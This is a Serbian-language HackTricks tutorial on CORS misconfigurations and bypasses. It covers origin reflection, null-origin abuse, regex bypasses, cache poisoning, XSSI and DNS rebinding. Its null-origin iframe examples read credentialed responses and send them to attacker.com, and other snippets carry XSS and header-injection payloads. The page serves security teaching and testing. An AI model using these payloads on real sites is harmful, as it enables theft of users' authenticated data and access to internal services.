CORS - Pogrešne konfiguracije i zaobilaženje

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je CORS?

Cross-Origin Resource Sharing (CORS) standard omogućava serverima da definišu ko može pristupiti njihovim resursima i koje HTTP metode zahteva su dozvoljene iz eksternih izvora.

Politika istog porekla nalaže da server koji zahteva resurs i server koji hostuje resurs dele isti protokol (npr. http://), ime domena (npr. internal-web.com) i port (npr. 80). Prema ovoj politici, samo web stranice sa istog domena i porta imaju dozvoljen pristup resursima.

Primena politike istog porekla u kontekstu http://normal-website.com/example/example.html ilustruje se kako sledi:

URL accessedAccess permitted?
http://normal-website.com/example/Da: Identičan protokol, domen i port
http://normal-website.com/example2/Da: Identičan protokol, domen i port
https://normal-website.com/example/Ne: Različit protokol i port
http://en.normal-website.com/example/Ne: Različit domen
http://www.normal-website.com/example/Ne: Različit domen
http://normal-website.com:8080/example/Ne: Različit port*

*Internet Explorer ignoriše broj porta pri sprovođenju politike istog porekla, pa dozvoljava ovaj pristup.

Access-Control-Allow-Origin Header

Ovaj header može dozvoliti više porekla, vrednost null, ili wildcard *. Međutim, nijedan browser ne podržava više porekla, i upotreba wildcard-a * podleže ograničenjima. (Wildcard mora biti korišćen samostalno, i njegova upotreba zajedno sa Access-Control-Allow-Credentials: true nije dozvoljena.)

Ovaj header izdaje server kao odgovor na zahtev za resurs iz druge domene koji inicira web sajt, pri čemu browser automatski dodaje Origin header.

Access-Control-Allow-Credentials Header

Po podrazumevanoj postavci, cross-origin zahtevi se šalju bez kredencijala kao što su cookies ili Authorization header. Ipak, server iz druge domene može dozvoliti čitanje odgovora kada se kredencijali šalju tako što postavi Access-Control-Allow-Credentials header na true.

Ako je postavljen na true, browser će prenositi kredencijale (cookies, authorization headere, ili TLS client sertifikate).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight zahtev

Razumevanje pre-flight zahteva u komunikaciji između domena

Kada se pokreće zahtev između domena pod specifičnim uslovima, kao što su korišćenje non-standard HTTP method (bilo šta osim HEAD, GET, POST), uvođenje novih headers, ili upotreba posebne vrednosti Content-Type header value, može biti neophodan pre-flight zahtev. Ovaj preliminarni zahtev, koji koristi OPTIONS metodu, služi da obavesti server o namerama narednog cross-origin zahteva, uključujući HTTP metode i headers koje namerava da koristi.

Protokol Cross-Origin Resource Sharing (CORS) zahteva ovu pre-flight proveru da bi odredio izvodljivost tražene cross-origin operacije proverom dozvoljenih metoda, headers i pouzdanosti origin-a. Za detaljno razumevanje uslova koji zaobilaze potrebu za pre-flight zahtevom, pogledajte sveobuhvatni vodič na Mozilla Developer Network (MDN).

Ključno je napomenuti da nepostojanje pre-flight zahteva ne poništava obavezu da odgovor sadrži authorization headers. Bez tih headers, browser nije u mogućnosti da obradi odgovor iz cross-origin zahteva.

Razmotrite sledeću ilustraciju pre-flight zahteva koji pokušava da upotrebi PUT metodu zajedno sa custom header-om nazvanim Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Kao odgovor, server može vratiti zaglavlja koja označavaju prihvaćene metode, dozvoljeni origin i druge detalje CORS politike, kao što je prikazano ispod:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Ovaj header specificira koja zaglavlja mogu biti korišćena tokom stvarnog zahteva. Postavlja ga server kako bi naznačio dozvoljena zaglavlja u zahtevima od klijenta.
  • Access-Control-Expose-Headers: Kroz ovaj header server obaveštava klijenta koja zaglavlja mogu biti izložena kao deo odgovora pored jednostavnih zaglavlja odgovora.
  • Access-Control-Max-Age: Ovaj header označava koliko dugo rezultati pre-flight zahteva mogu biti keširani. Server postavlja maksimalno vreme, u sekundama, tokom kojeg se informacije vraćene pre-flight zahtevom mogu ponovo koristiti.
  • Access-Control-Request-Headers: Koristi se u pre-flight zahtevima; ovaj header postavlja klijent da obavesti server koja HTTP zaglavlja klijent želi da koristi u stvarnom zahtevu.
  • Access-Control-Request-Method: Ovaj header, takođe korišćen u pre-flight zahtevima, postavlja ga klijent da označi koju HTTP metodu će koristiti u stvarnom zahtevu.
  • Origin: Ovaj header automatski postavlja pregledač i označava poreklo cross-origin zahteva. Server ga koristi da proceni da li zahtev treba dozvoliti ili odbiti na osnovu CORS politike.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.\
Dakle, CORS ne štiti od CSRF (ali može biti od pomoći).

Pre-flight zahtevi za lokalnu mrežu

  1. Access-Control-Request-Local-Network: Ovaj header je uključen u zahtev klijenta da označi da je upit namenjen resursu u lokalnoj mreži. Služi kao oznaka da obavesti server da zahtev potiče iz lokalne mreže.
  2. Access-Control-Allow-Local-Network: Kao odgovor, serveri koriste ovaj header da saopšte da je traženi resurs dozvoljeno deliti sa entitetima van lokalne mreže. Djeluje kao zeleno svetlo za deljenje resursa preko različitih mrežnih granica, obezbeđujući kontrolisan pristup uz održavanje sigurnosnih protokola.

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Imajte na umu da linux 0.0.0.0 IP funkcioniše da bypass ovih zahteva za pristup localhost jer se ta IP adresa ne smatra “lokalnom”.

Takođe je moguće bypass the Local Network requirements ako koristite public IP address of a local endpoint (npr. public IP rutera). Pošto se u više slučajeva, čak i ako se pristupa public IP, ako je from the local network, pristup će biti odobren.

Wildcards

Imajte na umu da čak i ako sledeća konfiguracija deluje veoma permisivno:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Ovo browsers ne dozvoljavaju, pa credentials neće biti poslati uz request koji to omogućava.

Eksploatabilne miskonfiguracije

Uočeno je da je podešavanje Access-Control-Allow-Credentials na true preduslov za većinu pravih napada. Ovo podešavanje omogućava browseru da pošalje credentials i pročita response, čime se povećava efikasnost napada. Bez toga, korist od navođenja browsera da izvrši request umesto da ga izvrši napadač sami opada, jer iskorišćavanje korisnikovih cookies postaje neizvodljivo.

Izuzetak: Korišćenje mrežne lokacije kao autentifikacije

Postoji izuzetak gde mrežna lokacija žrtve funkcioniše kao oblik autentifikacije. To omogućava korišćenje žrtvinog browsera kao proxy-ja, zaobilaženje autentifikacije bazirane na IP-u da bi se pristupilo intranet aplikacijama. Ova metoda ima sličan uticaj kao DNS rebinding, ali je jednostavnija za eksploataciju.

Reflection of Origin in Access-Control-Allow-Origin

Scenario iz stvarnog sveta gde se vrednost Origin header-a reflektuje u Access-Control-Allow-Origin je teorijski malo verovatan zbog ograničenja u kombinovanju ovih header-a. Međutim, developeri koji žele da omoguće CORS za više URL-ova mogu dinamički generisati header Access-Control-Allow-Origin kopiranjem vrednosti Origin header-a. Ovakav pristup može uvesti ranjivosti, naročito kada napadač koristi domen čije ime je osmišljeno da izgleda legitimno, prevareći validacionu logiku.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Iskorišćavanje null origin

null origin, naveden za situacije kao što su preusmeravanja ili lokalni HTML fajlovi, zauzima jedinstvenu poziciju. Neke aplikacije stavljaju ovaj origin na whitelistu da bi olakšale lokalni razvoj, nenamerno dopuštajući bilo kom sajtu da preko sandboxed iframe-a imitira null origin i tako zaobiđe CORS restrikcije.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Tehnike zaobilaženja regularnih izraza

Kada naiđete na listu dozvoljenih domena, ključno je testirati mogućnosti zaobilaženja, kao što je dodavanje domena napadača na dozvoljeni domen ili iskorišćavanje ranjivosti preuzimanja poddomena. Pored toga, regularni izrazi koji se koriste za validaciju domena mogu prevideti nijanse u konvencijama imenovanja domena, što predstavlja dodatne mogućnosti za zaobilaženje.

Napredna zaobilaženja regularnih izraza

Regex obrasci se obično fokusiraju na alfanumeričke znakove, tačku (.) i crticu (-), zapostavljajući druge mogućnosti. Na primer, ime domena kreirano tako da sadrži karaktere koje browseri i regex obrasci tumače različito može zaobići bezbednosne provere. Način na koji Safari, Chrome i Firefox tretiraju underscore karaktere u poddomenima ilustruje kako se takve razlike mogu iskoristiti za zaobilaženje logike validacije domena.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Iz XSS-a unutar poddomena

Programeri često implementiraju odbrambene mehanizme da bi se zaštitili od CORS eksploatacija tako što prave listu domena kojima je dozvoljeno da zahtevaju informacije. Uprkos tim merama, sigurnost sistema nije nepogrešiva. Prisustvo čak i jednog ranjivog poddomena unutar dozvoljenih domena može otvoriti vrata za CORS eksploataciju kroz druge ranjivosti, kao što je XSS (Cross-Site Scripting).

Da ilustrujemo, razmotrimo scenario gde je domen requester.com stavljen na listu dozvoljenih domena da pristupa resursima sa drugog domena, provider.com. Konfiguracija na serverskoj strani može izgledati otprilike ovako:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

U ovom podešavanju, svim poddomenima requester.com je dozvoljen pristup. Međutim, ako je poddomen, na primer sub.requester.com, kompromitovan XSS ranjivošću, napadač može iskoristiti ovu slabost. Na primer, napadač sa pristupom sub.requester.com mogao bi iskoristiti XSS ranjivost da zaobiđe CORS politike i zlonamerno pristupi resursima na provider.com.

PortSwigger’s URL validation bypass cheat sheet je utvrdio da neki pregledači podržavaju neobične karaktere u nazivima domena.

Special Characters

Chrome i Firefox podržavaju donje crte _ koje mogu zaobići regex-e implementirane za validaciju Origin header:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari je još labaviji u prihvatanju specijalnih karaktera u nazivu domena:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Ostali zanimljivi trikovi sa URL-ovima

URL Format Bypass

Server-side cache poisoning

Iz ovog istraživanja

Moguće je da iskorišćavanjem server-side cache poisoning preko HTTP header injection nastane stored Cross-Site Scripting (XSS) ranjivost. Ovaj scenario se javlja kada aplikacija ne filtrira Origin header od nelegalnih karaktera, što stvara ranjivost posebno za korisnike Internet Explorer-a i Edge-a. Ti browseri tretiraju (0x0d) kao legitimni terminator HTTP header-a, što dovodi do HTTP header injection ranjivosti.

Pogledajte sledeći zahtev u kome je Origin header manipulisan:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge interpretiraju odgovor kao:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Iako direktno iskorišćavanje ove ranjivosti slanjem malformiranog headera iz web brauzera nije izvodljivo, ručno kreiran zahtev se može generisati pomoću alata poput Burp Suite. Ovaj metod može dovesti do toga da keš na serverskoj strani sačuva odgovor i nenamerno ga posluži drugim korisnicima. Kreirani payload ima za cilj da promeni skup karaktera stranice na UTF-7, enkoding često povezan sa XSS ranjivostima zbog mogućnosti da kodira karaktere na način koji u određenim kontekstima može biti izvršen kao skripta.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: Eksploatacija HTTP header injection ranjivosti, naročito putem server-side cache poisoning, naglašava izuzetnu važnost validacije i sanitacije svih korisnički unetih podataka, uključujući HTTP headers. Uvek koristite robustan sigurnosni model koji uključuje validaciju unosa kako biste sprečili ovakve ranjivosti.

Client-Side cache poisoning

From this research

U ovom scenariju uočava se primer web stranice koja reflektuje sadržaj prilagođenog HTTP header-a bez odgovarajućeg enkodiranja. Konkretno, stranica vraća nazad sadržaj iz X-User-id headera, koji može sadržati zlonamerni JavaScript, što je demonstrirano primerom gde header sadrži SVG image tag osmišljen da izvrši JavaScript kod pri učitavanju.

Cross-Origin Resource Sharing (CORS) politike dozvoljavaju slanje custom headers. Međutim, pošto odgovor možda neće biti direktno renderovan od strane browsera zbog CORS ograničenja, korisnost takve injekcije može delovati ograničeno. Kritična tačka se javlja kada se uzme u obzir ponašanje keširanja browsera. Ako Vary: Origin header nije specificiran, moguće je da zlonamerni odgovor bude keširan od strane browsera. Nakon toga, taj keširani odgovor može biti direktno renderovan prilikom navigacije na URL, zaobilaženjem potrebe za direktnim renderovanjem prilikom inicijalnog zahteva. Ovaj mehanizam povećava pouzdanost napada korišćenjem client-side caching.

Da bi se ilustrovao ovaj napad, dat je JavaScript primer namenjen za izvršenje u okruženju web stranice, na primer kroz JSFiddle. Ovaj skript izvršava jednostavnu radnju: šalje zahtev na određeni URL sa custom header-om koji sadrži zlonamerni JavaScript. Po uspešnom završetku zahteva, pokušava da navigira na ciljani URL, potencijalno izazivajući izvršenje injektovanog skripta ukoliko je odgovor keširan bez pravilnog tretmana Vary: Origin headera.

Evo sažetog pregleda JavaScript-a koji se koristi za izvršenje ovog napada:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Zaobilaženje

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, poznat i kao Cross-Site Script Inclusion, je tip ranjivosti koji iskorišćava činjenicu da Same Origin Policy (SOP) ne važi pri uključivanju resursa pomoću script taga. To je zato što se script tag-ovi moraju moći uključivati sa različitih domena. Ova ranjivost omogućava napadaču da pristupi i pročita bilo koji sadržaj koji je bio uključen pomoću script taga.

Ova ranjivost postaje posebno značajna kada su u pitanju dinamički JavaScript ili JSONP (JSON with Padding), naročito kada se za autentifikaciju koristi ambient-authority informacija poput cookies. Kod zahteva za resurs sa drugog hosta, cookies se uključuju, čineći ih dostupnim napadaču.

Da biste bolje razumeli i ublažili ovu ranjivost, možete koristiti BurpSuite plugin dostupan na https://github.com/kapytein/jsonp. Ovaj plugin može pomoći u identifikaciji i otklanjanju potencijalnih XSSI ranjivosti u vašim web aplikacijama.

Pročitajte više o različitim tipovima XSSI i kako ih eksploatisati ovde.

Pokušajte da dodate callback parameter u zahtev. Možda je stranica pripremljena da pošalje podatke kao JSONP. U tom slučaju stranica će vratiti podatke sa Content-Type: application/javascript što će zaobići CORS politiku.

Lako (beskorisno?) zaobilaženje

Jedan način da se zaobiđe Access-Control-Allow-Origin ograničenje je da se zatraži od web aplikacije da izvrši zahtev u vaše ime i pošalje nazad odgovor. Međutim, u ovom scenariju, kredencijali konačne žrtve se neće poslati jer je zahtev upućen na drugi domen.

  1. CORS-escape: Ovaj alat obezbeđuje proxy koji prosleđuje vaš zahtev zajedno sa njegovim header-ima, dok takođe spoof-uje Origin header da odgovara traženom domenu. Ovo efikasno zaobilazi CORS politiku. Evo primera korišćenja sa XMLHttpRequest:
  2. simple-cors-escape: Ovaj alat nudi alternativni pristup proxy-ovanju zahteva. Umesto da prosledi vaš zahtev “as-is”, server pravi sopstveni zahtev sa specificiranim parametrima.

Iframe + Popup Bypass

Možete zaobići CORS provere kao što je e.origin === window.origin tako što ćete kreirati iframe i iz njega otvoriti novi prozor. Više informacija na sledećoj stranici:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL je tehnika koja se koristi za zaobilaženje određenih bezbednosnih mera manipulisanjem DNS zapisima. Evo kako funkcioniše:

  1. Napadač kreira web stranicu i natera žrtvu da joj pristupi.
  2. Napadač zatim menja DNS (IP) svog domena da pokazuje na žrtvin web server.
  3. Browser žrtve kešira DNS odgovor, koji može imati TTL (Time to Live) vrednost koja određuje koliko dugo zapis treba da bude važeći.
  4. Kada TTL istekne, browser žrtve pravi novi DNS zahtev, što omogućava napadaču da izvrši JavaScript kod na stranici žrtve.
  5. Održavajući kontrolu nad IP-om žrtve, napadač može prikupljati informacije sa žrtvinog servera bez slanja cookies žrtvi servera.

Važno je napomenuti da browseri imaju mehanizme keširanja koji mogu sprečiti trenutnu zloupotrebu ove tehnike, čak i sa niskim TTL vrednostima.

DNS rebinding može biti koristan za zaobilaženje eksplicitnih provera po IP-u koje vrši žrtva ili za scenarije gde se korisnik ili bot dugo zadržava na istoj stranici, dozvoljavajući kešu da istekne.

Ako vam treba brz način za zloupotrebu DNS rebinding-a, možete koristiti servise poput https://lock.cmpxchg8b.com/rebinder.html.

Za pokretanje sopstvenog DNS rebinding servera, možete koristiti alate kao što je DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Ovo uključuje izlaganje vašeg lokalnog porta 53/udp, kreiranje A zapisa koji pokazuje na njega (npr. ns.example.com), i kreiranje NS zapisa koji pokazuje na prethodno kreirani A subdomen (npr. ns.example.com). Bilo koji subdomen ns.example.com će tada biti rešen preko vašeg hosta.

Takođe možete istražiti javno dostupan server na http://rebind.it/singularity.html za dalja objašnjenja i eksperimentisanje.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding je druga tehnika koja se koristi da bi se zaobišao mehanizam keširanja browsera i prisilio drugi DNS zahtev. Evo kako funkcioniše:

  1. Na početku, kada žrtva napravi DNS zahtev, odgovori se napadačevom IP adresom.
  2. Da bi se zaobišla odbrana keširanja, napadač koristi service worker. Service worker preplavljuje DNS keš, što efektivno briše keširano ime napadačevog servera.
  3. Kada browser žrtve napravi drugi DNS zahtev, sada odgovori sa IP adresom 127.0.0.1, koja obično ukazuje na localhost.

Preplavljivanjem DNS keša putem service workera, napadač može manipulisati procesom DNS rezolucije i prisiliti browser žrtve da napravi drugi zahtev koji će biti rešen na željenu IP adresu.

DNS Rebinding via Cache

Drugi način da se zaobiđe odbrana keširanjem je korišćenjem više IP adresa za isti subdomen kod DNS provajdera. Evo kako to radi:

  1. Napadač postavlja dva A zapisa (ili jedan A zapis sa dve IP adrese) za isti subdomen kod DNS provajdera.
  2. Kada browser proverava te zapise, dobija obe IP adrese.
  3. Ako browser prvo odluči da koristi napadačevu IP adresu, napadač može poslužiti payload koji izvodi HTTP zahteve ka istom domenu.
  4. Međutim, nakon što napadač dobije žrtvinu IP adresu, on prestaje da odgovara na zahteve browser-a žrtve.
  5. Browser žrtve, kada shvati da domen ne odgovara, prelazi na korišćenje druge date IP adrese.
  6. Pristupanjem drugoj IP adresi, browser zaobilazi Same Origin Policy (SOP), što omogućava napadaču da zloupotrebi ovo i prikuplja i iznosi informacije.

Ova tehnika iskorišćava ponašanje browsera kada se za domen daju više IP adresa. Strateškim kontrolisanjem odgovora i manipulisanjem izborom IP adrese od strane browsera, napadač može eksploatisati SOP i pristupiti informacijama žrtve.

Warning

Imajte u vidu da da biste pristupili localhost-u treba pokušati da rebindingujete 127.0.0.1 na Windows-u i 0.0.0.0 na linux-u.
Provajderi poput godaddy ili cloudflare nisu mi dozvolili da koristim IP 0.0.0.0, ali AWS route53 mi je dozvolio da napravim jedan A zapis sa 2 IP-a od kojih je jedan “0.0.0.0”

Za više informacija možete pogledati https://unit42.paloaltonetworks.com/dns-rebinding/

Ostala česta zaobilaženja

  • Ako internal IPs aren’t allowed, možda su zaboravili da zabrane 0.0.0.0 (radi na Linux i Mac)
  • Ako internal IPs aren’t allowed, odgovorite sa CNAME na localhost (radi na Linux i Ma
  • Ako internal IPs aren’t allowed kao DNS odgovori, možete odgovoriti CNAME-ovima na interne servise kao što je www.corporate.internal.

DNS Rebidding Weaponized

Možete naći više informacija o prethodnim tehnikama zaobilaženja i kako koristiti sledeći alat u talk-u Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin je alat za izvođenje DNS rebinding napada. Uključuje potrebne komponente da rebinguje IP adresu imena DNS servera napadača na IP adresu ciljane mašine i da servira payload-ove za eksploataciju ranjivog softvera na ciljanoj mašini.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH jednostavno tuneluje klasičan RFC1035 DNS wire format unutar HTTPS-a (obično POST sa Content-Type: application/dns-message). Resolver i dalje odgovara sa istim resource record-ima, tako da tehnike koje krše SOP i dalje rade čak i kada browseri reše hostname kontrolisan od strane napadača preko TLS-a.

Ključna zapažanja

  • Chrome (Windows/macOS) i Firefox (Linux) uspešno rebinduju kada su konfigurisani za Cloudflare, Google, ili OpenDNS DoH resolvere. Transportno enkriptovanje ni ne odlaže ni ne blokira tok napada za strategije first-then-second, multiple-answers, ili DNS cache flooding.
  • Javnim resolverima i dalje stiže svaki query, ali retko kada oni primenjuju host-to-IP mapiranje koje browser mora da poštuje. Kada autoritativni server vrati rebind sekvencu, browser zadržava originalni origin tuple dok se povezuje na novu IP.

Singularity strategije i tajming preko DoH

  • First-then-second ostaje najpouzdanija opcija: prvi lookup vraća napadačevu IP koja servira payload, svaki kasniji lookup vraća internu/localhost IP. Sa tipičnim browser DNS keševima ovo prebacivanje se dešava za ~40–60 sekundi, čak i kada je rekursivni resolver dostupan samo preko HTTPS.
  • Multiple answers (fast rebinding) i dalje dopire do localhost-a za <3 sekunde odgovaranjem sa dva A zapisa (napadačeva IP + 0.0.0.0 na Linux/macOS ili 127.0.0.1 na Windows) i programatskim “blackholing-om” prve IP (na primer, iptables -I OUTPUT -d <attacker_ip> -j DROP) ubrzo nakon učitavanja stranice. Firefox-ova DoH implementacija može emitovati ponovljene DNS upite, tako da Singularity fiksuje problem zakazivanjem firewall pravila u odnosu na prvi timestamp upita umesto osvežavanja timera na svaki upit.

Prevazilaženje “rebind protection” kod DoH provajdera

  • Neki provajderi (npr. NextDNS) zamenjuju privatne/loopback odgovore sa 0.0.0.0, ali Linux i macOS rado rutiraju tu destinaciju ka lokalnim servisima. Namerno vraćanje 0.0.0.0 kao drugog zapisa stoga i dalje pivotiše origin ka localhost-u.
  • Filtriranje samo direktnog A/AAAA odgovora je neefikasno: vraćanje CNAME-a na hostname koji je dostupan samo interno prisiljava javni DoH resolver da prosledi alias dok browseri poput Firefox-a padaju nazad na sistemski DNS za internu zonu, dovršavajući rezoluciju do privatne IP koja se i dalje tretira kao napadačev origin.

Browser-specifično DoH ponašanje

  • Firefox DoH radi u fallback modu: bilo koji DoH neuspeh (uključujući nerešen CNAME target) pokreće plaintext lookup preko OS resolver-a, koji je tipično enterprise DNS server koji zna internu namespace. Ovo ponašanje čini CNAME zaobilaženje pouzdanim unutar korporativnih mreža.
  • Chrome DoH se aktivira samo kada OS DNS pokazuje na whitelist-ovan DoH-capable rekursivni resolver (Cloudflare, Google, Quad9, itd.) i ne pruža istu fallback lančanu logiku. Interni hostnames koji postoje samo na korporativnom DNS-u stoga ne uspevaju da se reše, ali rebinding prema localhost-u ili bilo kojoj routable adresi i dalje uspeva jer napadač kontroliše ceo set odgovora.

Testiranje i nadgledanje DoH tokova

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS i unesite DoH endpoint (Cloudflare i NextDNS su ugrađeni). Chrome/Chromium: omogućite chrome://flags/#dns-over-https i konfigurišite OS DNS servere na jednog od Chrome-ovih podržanih resolver-a (npr. 1.1.1.1/1.0.0.1).
  • Možete direktno query-ovati javne DoH API-je, npr. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq da potvrdite tačne zapise koje će browser keširati.
  • Interceptovanje DoH u Burp/ZAP i dalje funkcioniše jer je to samo HTTPS (binarni DNS payload u telu). Za inspekciju na nivou paketa, eksportujte TLS ključeve (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) pre pokretanja browsera i dozvolite Wireshark-u da dešifruje DoH sesije sa dns display filter-om da vidite kada browser ostaje na DoH ili pada nazad na klasičan DNS.

Prava zaštita protiv DNS Rebinding-a

  • Koristite TLS kod internog servisa
  • Zahtevajte autentifikaciju za pristup podacima
  • Validirajte Host header
  • https://wicg.github.io/private-network-access/: Predlog da se uvek pošalje pre-flight zahtev kada javni serveri žele da pristupe internim serverima

Alati

Fuzz-ujte moguće pogrešne konfiguracije u CORS politikama

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks